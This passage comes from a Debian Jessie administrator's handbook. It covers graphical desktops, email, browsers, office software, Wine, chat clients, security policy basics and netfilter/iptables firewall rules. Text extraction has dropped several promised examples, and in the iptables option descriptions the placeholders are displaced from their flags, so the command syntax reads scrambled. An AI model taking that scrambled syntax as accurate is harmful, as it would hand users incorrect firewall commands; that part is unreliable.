The keyboard configuration is currently set up in /etc/default/keyboard
. This file is used both to configure the text console and the graphical interface, and it is handled by the keyboard-configuration package. Details on configuring the keyboard layout are available in Secțiune 8.1.2, „Configuring the Keyboard”.
The xserver-xorg-core package provides a generic X server, as used by the 7.x versions of X.org. This server is modular and uses a set of independent drivers to handle the many different kinds of video cards. Installing xserver-xorg ensures that both the server and at least one video driver are installed.
Note that if the detected video card is not handled by any of the available drivers, X.org tries using the VESA and fbdev drivers. The former is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while the latter works on top of the kernel's framebuffer device. The X server writes its messages to the /var/log/Xorg.0.log
log file, which is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel
driver outputs when it is loaded:
EXTRA Proprietary drivers
Some video card makers (most notably nVidia) refuse to publish the hardware specifications that would be required to implement good free drivers. They do, however, provide proprietary drivers that allow using their hardware. This policy is nefarious, because even when the provided driver exists, it is usually not as polished as it should be; more importantly, it does not necessarily follow the X.org updates, which may prevent the latest available driver from loading correctly (or at all). We cannot condone this behavior, and we recommend you avoid these makers and favor more cooperative manufacturers.
If you still end up with such a card, you will find the required packages in the non-free section: nvidia-glx for nVidia cards, and fglrx-driver for some ATI cards. Both cases require matching kernel modules. Building these modules can be automated by installing the nvidia-kernel-dkms (for nVidia), or fglrx-modules-dkms (for ATI) packages.
The “nouveau” project aims to develop a free software driver for nVidia cards. As of Jessie, its feature set does not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free driver for ATI video cards, called “radeon”, is much better in that regard although it often requires a non-free firmware.
The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), kdm (KDE Display Manager) and lightdm (Light Display Manager). Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf
configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas
schema file) to control its behaviour while /etc/gdm3/greeter.dconf-defaults
contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.
Since each graphical desktop provides its own window manager, choosing the former usually implies software selections from the latter. GNOME uses the mutter window manager, KDE uses kwin, and Xfce (which we present later) has xfwm. The Unix philosophy always allows using one's window manager of choice, but following the recommendations allows an administrator to best take advantage of the integration efforts led by each project.
BACK TO BASICS Window manager
True to the Unix tradition of doing one thing only but doing it well, the window manager displays the “decorations” around the windows belonging to the currently running applications, which includes frames and the title bar. It also allows reducing, restoring, maximizing, and hiding windows. Most window managers also provide a menu that pops up when the desktop is clicked in a specific way. This menu provides the means to close the window manager session, starting new applications, and in some cases, change to another window manager (if installed).
Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter configuration should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), Afterstep, fvwm, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the update-alternatives --config x-window-manager command.
DEBIAN SPECIFICITY Alternatives
The Debian policy lists a number of standardized commands able to perform a particular action. For example, the x-window-manager command invokes a window manager. But Debian does not assign this command to a fixed window manager. The administrator can choose which manager it should invoke.
For each window manager, the relevant package therefore registers the appropriate command as a possible choice for x-window-manager along with an associated priority. Barring explicit configuration by the administrator, this priority allows picking the best installed window manager when the generic command is run.
Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config
symbolic-command
. The update-alternatives script creates (and maintains) symbolic links in the/etc/alternatives/
directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.Not all symbolic commands are explicitly listed by the Debian policy; some Debian package maintainers deliberately chose to use this mechanism in less straightforward cases where it still brings interesting flexibility (examples include x-www-browser, www-browser, cc, c++, awk, and so on).
Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop
file in /usr/share/applications
. The format of those files has been standardized by FreeDesktop.org:
The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in KDE), alacarte (in GNOME) or menulibre.
HISTORY The Debian menu system
Historically — way before the FreeDesktop.org standards emerged — Debian had invented its own menu system where each package provided a generic description of the desired menu entries in
/usr/share/menu/
. This tool is still available in Debian (in the menu package) but it is only marginally useful since package maintainers are encouraged to rely on.desktop
files instead.
The free graphical desktop field is dominated by two large software collections: GNOME and KDE. Both of them are very popular. This is rather a rare instance in the free software world; the Apache web server, for instance, has very few peers.
This diversity is rooted in history. KDE was the first graphical desktop project, but it chose the Qt graphical toolkit and that choice wasn't acceptable for a large number of developers. Qt was not free software at the time, and GNOME was started based on the GTK+ toolkit. Qt became free software in the interval, but the projects haven't merged and evolved in parallel instead.
GNOME and KDE still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.
Choosing “the best” graphical desktop is a sensitive topic which we prefer to steer clear of. We will merely describe the many possibilities and give a few pointers for further thoughts. The best choice will be the one you make after some experimentation.
Debian Jessie includes GNOME version 3.14, which can be installed by a simple apt-get install gnome (it can also be installed by selecting the “Debian desktop environment” task).
GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing standards and recommendations. This has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.
Fig. 13.1. The GNOME desktop
For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The following website lists all information of interest to an administrator tasked to manage GNOME workstations:
Debian Jessie includes version 4.14 of KDE, which can be installed with apt-get install kde-standard.
KDE has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. KDE is a perfectly mature desktop environment with a wide range of applications.
Fig. 13.2. The KDE desktop
Since the Qt 4.0 release, the last remaining license problem with KDE is no more. This version was released under the GPL both for Linux and Windows (whereas the Windows version was previously released under a non-free license). Note that KDE applications must be developed using the C++ language.
Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt-get install xfce4. Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.
Unlike GNOME and KDE, Xfce does not aim at being a vast project. Beyond the basic components of a modern desktop (file manager, window manager, session manager, a panel for application launchers and so on), it only provides a few specific applications: a terminal, a calendar (Orage), an image viewer, a CD/DVD burning tool, a media player (Parole), sound volume control and a text editor (mousepad).
Fig. 13.3. The Xfce desktop
Another desktop environment provided in Jessie is LXDE, which focuses on the “lightweight” aspect. It can be installed with the help of the lxde meta-package.
COMMUNITY Popular packages
Installing the popularity-contest package enables participation in an automated survey that informs the Debian project about the most popular packages. A script is run weekly by cron which sends (by HTTP or email) an anonymized list of the installed packages and the latest access date for the files they contain. This allows differentiating, among the installed packages, those that are actually used.
This information is a great help to the Debian project. It is used to determine which packages should go on the first installation disks. The installation data is also an important factor used to decide whether to remove a package with very few users from the distribution. We heartily recommend installing the popularity-contest package, and participating in the survey.
The collected data are made public every day.
These statistics can also help choose between two packages that would seem otherwise equivalent. Choosing the more popular package increases the probability of making a good choice.
Evolution is the GNOME email client and can be installed with apt-get install evolution. Evolution goes beyond a simple email client, and also provides a calendar, an address book, a task list, and a memo (free-form note) application. Its email component includes a powerful message indexing system, and allows for the creation of virtual folders based on search queries on all archived messages. In other words, all messages are stored the same way but displayed in a folder-based organization, each folder containing messages that match a set of filtering criteria.
Fig. 13.4. The Evolution email software
An extension to Evolution allows integration to a Microsoft Exchange email system; the required package is evolution-ews.
The KDE email software can be installed with apt-get install kmail. KMail only handles email, but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes features such as address books, a calendar component, and so on. KMail has all the features one would expect from an excellent email client.
Fig. 13.5. The KMail email software
This email software, included in the icedove package, is part of the Mozilla software suite. Various localization sets are available in icedove-l10n-* packages; the enigmail extension handles message encrypting and signing (alas, it is not available in all languages).
Fig. 13.6. The Icedove email software
Thunderbird is one of the best email clients, and it seems to be a great success, just like Mozilla Firefox.
Strictly speaking, Debian Jessie contains Icedove, and not Thunderbird, for legal reasons we will detail in the sidebar CULTURE Iceweasel, Firefox and others; but apart from their names (and icons), there are no real differences between them.
Epiphany, the web browser in the GNOME suite, uses the WebKit display engine developed by Apple for its Safari browser. The relevant package is epiphany-browser.
Konqueror, the KDE file manager, also behaves as a web browser. It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. Konqueror is available in the konqueror package.
Users not satisfied by either of the above can use Iceweasel. This browser, available in the iceweasel package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.
Fig. 13.7. The Iceweasel web browser
CULTURE Iceweasel, Firefox and others
Many users will no doubt be surprised by the absence of Mozilla Firefox in the Debian Jessie menus. No need to panic: the iceweasel package contains Iceweasel, which is basically Firefox under another name.
The rationale behind this renaming is a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox must use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian cannot distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer chose to use a different name.
The firefox command still exists in the iceweasel package, but only for compatibility with tools that would try to use it.
For similar reasons, the Thunderbird™ email client was renamed to Icedove in a similar fashion.
CULTURE Mozilla
Netscape Navigator was the standard browser when the web started reaching the masses, but it was progressively left behind when Microsoft Internet Explorer came around. Faced with this failure, Netscape (the company) decided to “free” its source code, by releasing it under a free license, to give it a second life. This was the beginning of the Mozilla project. After many years of development, the results are more than satisfying: the Mozilla project brought forth an HTML rendering engine (called Gecko) that is among the most standard-compliant. This rendering engine is in particular used by the Mozilla Firefox browser, which is one of the most successful browsers, with a fast-growing user base.
Last but not least, Debian also contains the Chromium web browser (available in the chromium-browser package). This browser is developed by Google at such a fast pace that maintaining a single version of it across the whole lifespan of Debian Jessie is unlikely to be possible. Its clear purpose is to make web services more attractive, both by optimizing the browser for performance and by increasing the user's security. The free code that powers Chromium is also used by its proprietary version called Google Chrome.
Anjuta (in the anjuta package) is a development environment optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the libglade shared library, which can dynamically recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.
The scope of Anjuta is to combine, in a modular way, all the features one would expect from an integrated development environment.
Groupware tools tend to be relatively complex to maintain because they aggregate multiple tools and have requirements that are not always easy to reconcile in the context of an integrated distribution. Thus there is a long list of groupware that were once available in Debian but have been dropped for lack of maintainers or incompatibility with other (newer) software in Debian. It has been the case of PHPGroupware, eGroupware, and Kolab.
All is not lost though. Many of the features traditionally provided by “groupware” software are increasingly integrated into “standard” software. This is reducing the requirement for specific, specialized groupware software. On the other hand, this usually requires a specific server. More interestingly, Citadel (in the citadel-suite package) and Sogo (in the sogo package) are alternatives that are available in Debian Jessie.
FusionForge is a collaborative development tool with some ancestry in SourceForge, a hosting service for free software projects. It takes the same overall approach based on the standard development model for free software. The software itself has kept evolving after the SourceForge code went proprietary. Its initial authors, VA Software, decided not to release any more free versions. The same happened again when the first fork (GForge) followed the same path. Since various people and organizations have participated in development, the current FusionForge also includes features targeting a more traditional approach to development, as well as projects not purely concerned with software development.
FusionForge can be seen as an amalgamation of several tools dedicated to manage, track and coordinate projects. These tools can be roughly classified into three families:
Since FusionForge is largely targeting development projects, it also integrates many tools such as CVS, Subversion, Git, Bazaar, Darcs, Mercurial and Arch for source control management or “configuration management” or “version control” — this process has many names. These programs keep a history of all the revisions of all tracked files (often source code files), with all the changes they go through, and they can merge modifications when several developers work simultaneously on the same part of a project.
Most of these tools are accessible, or even managed, through a web interface, with a fine-grained permission system, and email notifications for some events.
Office software has long been seen as lacking in the free software world. Users have long asked for replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when the OpenOffice.org project started (following Sun's release of the StarOffice code under a free license). Nowadays Debian contains Libre Office, a fork of OpenOffice.org. The GNOME and KDE projects are still working on their offerings (GNOME Office and Calligra Suite), and the friendly competition leads to interesting results. For instance, the Gnumeric spreadsheet (part of GNOME Office) is even better than OpenOffice.org/Libre Office in some domains, notably the precision of its calculations. On the word processing front, the OpenOffice.org and Libre Office suites still lead the way.
Another important feature for users is the ability to import Word and Excel documents received from contacts or found in archives. Even though all office suites have filters which allow working on these formats, only the ones found in OpenOffice.org and Libre Office are functional enough for daily use.
THE BROADER VIEW Libre Office replaces OpenOffice.org
OpenOffice.org contributors have set up a foundation (The Document Foundation) to foster project development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. The software is now known as Libre Office. After a period of relative stagnation on the OpenOffice.org front, Oracle decided to migrate the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project.
Debian only includes Libre Office. The OpenOffice software suite as published by the Apache Software Foundation is not currently available in Debian.
Libre Office and Calligra Suite are, respectively, available in the libreoffice and calligra Debian packages. There is no more package for GNOME Office (it was gnome-office). Language-specific packs for Libre Office are distributed in separate packages: libreoffice-l10n-* and libreoffice-help-* most notably; some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*/hunspell-*, hyphen-* and mythes-*. Note that Calligra Suite used to be called KOffice.
In spite of all the previously mentioned efforts, there are still a number of tools without a Linux equivalent, or for which the original version is absolutely required. This is where Windows emulation systems come in handy. The most well-known among them is Wine.
COMPLEMENTS CrossOver Linux
CrossOver, produced by CodeWeavers, is a set of enhancements to Wine that broadens the available set of emulated features to a point at which Microsoft Office becomes fully usable. Some of the enhancements are periodically merged into Wine.
However, one should keep in mind that it is only a solution among others, and the problem can also be tackled with a virtual machine or VNC; both of these solutions are detailed in the sidebars ALTERNATIVE Virtual machines and ALTERNATIVE Windows Terminal Server or VNC.
Let us start with a reminder: emulation allows executing a program (developed for a target system) on a different host system. The emulation software uses the host system, where the application runs, to imitate the required features of the target system.
Now let's install the required packages (ttf-mscorefonts-installer is in the contrib section):
#
apt-get install wine ttf-mscorefonts-installer
On a 64 bit (amd64) system, if your Windows applications are 32 bit applications, then you will have to enable multi-arch to be able to install wine32 from the i386 architecture (see Secțiune 5.4.5, „Multi-Arch Support”).
The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can autodetect some more drives; note that even if you have a dual-boot system, you should not point the C:
drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe
; once the program is installed, you can run it with wine .../program.exe
. The exact location of the program.exe
file depends on where the C:
drive is mapped; in many cases, however, simply running wine program
will work, since the program is usually installed in a location where Wine will look for it by itself.
TIP Working around a winecfg failure
In some cases, winecfg (which is just a wrapper) might fail. As a work-around, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.
Note that you should not rely on Wine (or similar solutions) without actually testing the particular software: only a real-use test will determine conclusively whether emulation is fully functional.
ALTERNATIVE Virtual machines
An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. Cap. 12, Advanced Administration describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and Bochs).
ALTERNATIVE Windows Terminal Server or VNC
Yet another possibility is to remotely run the legacy Windows applications on a central server with Windows Terminal Server and access the application from Linux machines using rdesktop. This is a Linux client for the RDP protocol (Remote Desktop Protocol) that Windows NT/2000 Terminal Server uses to display desktops on remote machines.
The VNC software provides similar features, with the added benefit of also working with many operating systems. Linux VNC clients and servers are described in Secțiune 9.2, „Remote Login”.
Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in Secțiune 11.8, „Real-Time Communication Services”. In SIP terminology, a client application or device is also referred to as a user agent.
Each client application varies in functionality. Some applications are more convenient for intensive chat users while other applications are more stable for webcam users. It may be necessary to test several applications to identify those which are most satisfactory. A user may finally decide that they need more than one application, for example, an XMPP application for messaging with customers and an IRC application for collaboration with some online communities.
To maximize the ability of users to communicate with the wider world, it is recommended to configure both SIP and XMPP clients or a single client that supports both protocols.
The default GNOME desktop includes the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE desktop provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.
Popular alternatives to Empathy/Telepathy include Ekiga, Jitsi, Linphone, Psi and Ring (formerly known as SFLphone).
Some of these applications can also interact with mobile users using apps such as Lumicall on Android.
The Real-Time Communications Quick Start Guide has a chapter dedicated to client software.
TIP Look for clients supporting ICE and TURN
Some RTC clients have significant problems sending voice and video through firewalls and NAT networks. Users may receive ghost calls (their phone rings but they don't hear the other person) or they may not be able to call at all.
The ICE and TURN protocols were developed to resolve these issues. Operating a TURN server with public IP addresses in each site and using client software that supports both ICE and TURN gives the best user experience.
If the client software is only intended for instant messaging, there is no requirement for ICE or TURN support.
Debian Developers operate a community SIP service at rtc.debian.org. The community maintains a wiki with documentation about setting up many of the client applications packaged in Debian. The wiki articles and screenshots are a useful resource for anybody setting up a similar service on their own domain.
ALTERNATIVE Internet Relay Chat
IRC can also be considered, in addition to SIP and XMPP. IRC is more oriented around the concept of channels, the name of which starts with a hash sign
#
. Each channel is usually targeted at a specific topic and any number of people can join a channel to discuss it (but users can still have one-to-one private conversations if needed). The IRC protocol is older, and does not allow end-to-end encryption of the messages; it is still possible to encrypt the communications between the users and the server by tunneling the IRC protocol inside SSL.IRC clients are a bit more complex, and they usually provide many features that are of limited use in a corporate environment. For instance, channel “operators” are users endowed with the ability to kick other users from a channel, or even ban them permanently, when the normal discussion is disrupted.
Since the IRC protocol is very old, many clients are available to cater for many user groups; examples include XChat and Smuxi (graphical clients based on GTK+), Irssi (text mode), Erc (integrated to Emacs), and so on.
QUICK LOOK Video conferencing with Ekiga
Ekiga (formerly GnomeMeeting) is a prominent application for Linux video conferencing. It is both stable and functional, and is very easily used on a local network; setting up the service on a global network is much more complex when the firewalls involved lack explicit support for the H323 and/or SIP teleconferencing protocols with all their quirks.
If only one Ekiga client is to run behind the firewall, the configuration is rather straightforward, and only involves forwarding a few ports to the dedicated host: TCP port 1720 (listening for incoming connections), TCP port 5060 (for SIP), TCP ports 30000 to 30010 (for control of open connections) and UDP ports 5000 to 5100 (for audio and video data transmission and registration to an H323 proxy).
When several Ekiga clients are to run behind the firewall, complexity increases notably. An H323 proxy (for instance the gnugk package) must be set up, and its configuration is far from simple.
An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
CAUTION Scope of this chapter
Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be Linux Server Security by Michael D. Bauer (published by O'Reilly).
The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
NOTE Permanent questioning
Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
Once the risk has been modeled, one can start thinking about designing an actual security policy.
NOTE Extreme policies
There are cases where the choice of actions required to secure a system is extremely simple.
For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other.
In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
BACK TO BASICS Firewall
A firewall is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
The lack of a standard configuration (and the “process, not product” motto) explains the lack of a turn-key solution. There are, however, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them.
SPECIFIC CASE Local Firewall
A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed.
The Linux kernel embeds the netfilter firewall. It can be controlled from user space with the iptables and ip6tables commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel.
netfilter uses four distinct tables which store rules regulating three kinds of operations on packets:
filter
concerns filtering rules (accepting, refusing or ignoring a packet); nat
concerns translation of source or destination addresses and ports of packages; mangle
concerns other changes to the IP packets (including the ToS — Type of Service — field and options); raw
allows other manual modifications on packets before they reach the connection tracking system. Each table contains lists of rules called chains. The firewall uses standard chains to handle packets based on predefined circumstances. The administrator can create other chains, which will only be used when referred to by one of the standard chains (either directly or indirectly).
The filter
table has three standard chains:
INPUT
: concerns packets whose destination is the firewall itself; OUTPUT
: concerns packets emitted by the firewall; FORWARD
: concerns packets transiting through the firewall (which is neither their source nor their destination). The nat
table also has three standard chains:
PREROUTING
: to modify packets as soon as they arrive; POSTROUTING
: to modify packets when they are ready to go on their way; OUTPUT
: to modify packets generated by the firewall itself. Fig. 14.1. How netfilter chains are called
Each chain is a list of rules; each rule is a set of conditions and an action to execute when the conditions are met. When processing a packet, the firewall scans the appropriate chain, one rule after another; when the conditions for one rule are met, it “jumps” (hence the -j
option in the commands) to the specified action to continue processing. The most common behaviors are standardized, and dedicated actions exist for them. Taking one of these standard actions interrupts the processing of the chain, since the packet's fate is already sealed (barring an exception mentioned below):
BACK TO BASICS ICMP
ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC777 and RFC792 were soon completed and extended.
For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC4443.
ACCEPT
: allow the packet to go on its way; REJECT
: reject the packet with an ICMP error packet (the --reject-with type
option to iptables allows selecting the type of error); DROP
: delete (ignore) the packet; LOG
: log (via syslogd) a message with a description of the packet; note that this action does not interrupt processing, and the execution of the chain continues at the next rule, which is why logging refused packets requires both a LOG and a REJECT/DROP rule; ULOG
: log a message via ulogd, which can be better adapted and more efficient than syslogd for handling large numbers of messages; note that this action, like LOG, also returns processing to the next rule in the calling chain; chain_name
: jump to the given chain and evaluate its rules; RETURN
: interrupt processing of the current chain, and return to the calling chain; in case the current chain is a standard one, there's no calling chain, so the default action (defined with the -P
option to iptables) is executed instead; SNAT
(only in the nat
table): apply Source NAT (extra options describe the exact changes to apply); DNAT
(only in the nat
table): apply Destination NAT (extra options describe the exact changes to apply); MASQUERADE
(only in the nat
table): apply masquerading (a special case of Source NAT); REDIRECT
(only in the nat
table): redirect a packet to a given port of the firewall itself; this can be used to set up a transparent web proxy that works with no configuration on the client side, since the client thinks it connects to the recipient whereas the communications actually go through the proxy. Other actions, particularly those concerning the mangle
table, are outside the scope of this text. The iptables(8) and ip6tables(8) have a comprehensive list.
The iptables and ip6tables commands allow manipulating tables, chains and rules. Their -t
option indicates which table to operate on (by default, table
filter
).
The -N
option creates a new chain. The chain
-X
deletes an empty and unused chain. The chain
-A
adds a rule at the end of the given chain. The chain
rule
-I
option inserts a rule before the rule number chain
rule_num
rule
rule_num
. The -D
(or chain
rule_num
-D
) option deletes a rule in a chain; the first syntax identifies the rule to be deleted by its number, while the latter identifies it by its contents. The chain
rule
-F
option flushes a chain (deletes all its rules); if no chain is mentioned, all the rules in the table are deleted. The chain
-L
option lists the rules in the chain. Finally, the chain
-P
option defines the default action, or “policy”, for a given chain; note that only standard chains can have such a policy. chain
action
Each rule is expressed as
. If several conditions are described in the same rule, then the criterion is the conjunction (logical and) of the conditions, which is at least as restrictive as each individual condition. conditions
-j action
action_options
The -p
condition matches the protocol field of the IP packet. The most common values are protocol
tcp
, udp
, icmp
, and icmpv6
. Prefixing the condition with an exclamation mark negates the condition, which then becomes a match for “any packets with a different protocol than the specified one”. This negation mechanism is not specific to the -p
option and it can be applied to all other conditions too.
The -s
or address
-s
condition matches the source address of the packet. Correspondingly, network/mask
-d
or address
-d
matches the destination address. network/mask
The -i
condition selects packets coming from the given network interface. interface
-o
selects packets going out on a specific interface. interface
There are more specific conditions, depending on the generic conditions described above. For instance, the -p tcp
condition can be complemented with conditions on the TCP ports, with clauses such as --source-port
and port
--destination-port
. port
The --state
condition matches the state of a packet in a connection (this requires the ipt_conntrack kernel module, for connection tracking). The state
NEW
state describes a packet starting a new connection; ESTABLISHED
matches packets belonging to an already existing connection, and RELATED
matches packets initiating a new connection related to an existing one (which is useful for the ftp-data
connections in the “active” mode of the FTP protocol).
The previous section lists available actions, but not their respective options. The LOG
action, for instance, has the following options:
--log-level
, with default value warning
, indicates the syslog severity level; --log-prefix
allows specifying a text prefix to differentiate between logged messages; --log-tcp-sequence
, --log-tcp-options
and --log-ip-options
indicate extra data to be integrated into the message: respectively, the TCP sequence number, TCP options, and IP options. The DNAT
action provides the --to-destination
option to indicate the new destination IP address and/or port. Similarly, address
:port
SNAT
provides --to-source
to indicate the new source IP address and/or port. address
:port
The REDIRECT
action (only available if NAT is available) provides the --to-ports
option to indicate the port, or port range, where the packets should be redirected. port(s)
Each rule creation requires one invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script so that the same configuration is set up automatically every time the machine boots. This script can be written by hand, but it can also be interesting to prepare it with a high-level tool such as fwbuilder.
#
apt install fwbuilder
The principle is simple. In the first step, one needs to describe all the elements that will be involved in the actual rules:
The rules are then created with simple drag-and-drop actions on the objects. A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.
As far as IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let fwbuilder translate the rules according to the addresses assigned to the objects.
Fig. 14.2. Fwbuilder's main window
fwbuilder can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (iptables for Linux, ipf for FreeBSD and pf for OpenBSD).
In other cases, the recommended way is to register the configuration script in an up
directive of the /etc/network/interfaces
file. In the following example, the script is stored under /usr/local/etc/arrakis.fw
.
Exemplu 14.1. interfaces
file calling firewall script
This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
